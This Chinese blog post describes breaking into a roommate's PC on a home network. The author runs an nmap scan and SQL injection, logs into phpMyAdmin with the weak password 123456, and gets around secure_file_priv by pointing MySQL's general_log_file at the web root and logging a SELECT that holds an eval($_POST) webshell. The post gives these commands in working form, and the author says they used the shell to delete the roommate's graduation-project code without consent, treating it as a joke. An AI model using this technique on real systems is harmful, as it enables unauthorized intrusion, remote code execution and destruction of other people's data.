美文网首页
一次phpmyadmin突破secure_file_priv写s

一次phpmyadmin突破secure_file_priv写s

作者: zzqsmile | 来源:发表于2019-03-27 11:10 被阅读0次

    晚上下闲来无事,租的公寓一共两间房,我和另外一个同学各住一间,隔壁一墙之隔的他正在打游戏,我比较爱学习,随便玩玩,就突然引发了一次简单渗透。。。 无关紧要的过程就不写了,下面简单记录下主要有用的步骤。

    • 首先nmap扫描内网发现

    发现内网里面存活的主机,不多,简单排除下,估计192.168.1.101就是隔壁室友的电脑了,发现803306端口

    图片.png
    • 访问下80,如下图,最近在做毕业设计,很明显这是他的电脑,里面还有sql注入演练平台,phpMyAdmin桌面控制.
      图片.png
    图片.png
    • 首先手工回顾一下sql注入吧,忘得差不多了都,整个过程我就不记录了,就记录用到的如下:
    1. 获取数据库路径
    D:\phpstudy\PHPTutorial\MySQL\data\
    
    图片.png
    1. 获取数据库版本5.5.53

      图片.png
    2. 获取当前连接数据库用户


      图片.png
    3. 获取当前数据库security

    图片.png
    • 最后直接准备写webshell,看能不能拿下。
    图片.png

    发现由于secure_file_priv权限问题,没戏。心有不甘,继续看看吧!

    • phpmyadmin后台登录看看
    图片.png

    猜测密码应该不复杂,简单测试下,发现密码123456弱口令,然后sql语句写webshell也是一样,不能够写入如下:

    图片.png
    • 下面就是本次记录的关键地方了
    1. 查看secure_file_priv值,结果如下为NULL,说明不能使用loadfile,into outfile进行读写文件。
    show global variables like 'secure_file_priv';
    
    图片.png
    1. 接下来就是要突破这一限制,写webshell。
    mysql中有两个全局变量是我们getshell需要用到的重要变量:
    general_log
    general_log_file
    
    general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
    
    1. general_log_file 就是操作日志存放的路径:
      show variables like 'general_log%';
    图片.png

    注:此处的操作日志路径并不是默认的,因为之前做过一遍已经将其修改了

    • 接下来就要getshell

    1.首先打开操作日志记录
    set global general_log = 'ON';

    图片.png 图片.png

    2.设置操作记录日志路径
    set global general_log_file='路径地址'

    set global general_log_file='D:\\phpstudy\\PHPTutorial\\WWW\\zzqsmile.php'
    

    这里我再换个目录存放操作日志,即在网站根目录

    图片.png

    3.执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中,就可以getshell了

    select '<?php phpinfo();@eval($_POST[zzqsmile]);?>'
    
    图片.png

    4.访问webshell,如下,没问题,然后上菜刀砍他!

    图片.png 图片.png 图片.png

    打游戏的注意了,毕业设计写的代码被删了!好好学习吧。

    参考
    https://c1h3ng.github.io/web/2017/11/06/phpmyadmin-getshell/

    相关文章

      网友评论

          本文标题:一次phpmyadmin突破secure_file_priv写s

          本文链接:https://www.haomeiwen.com/subject/glyovqtx.html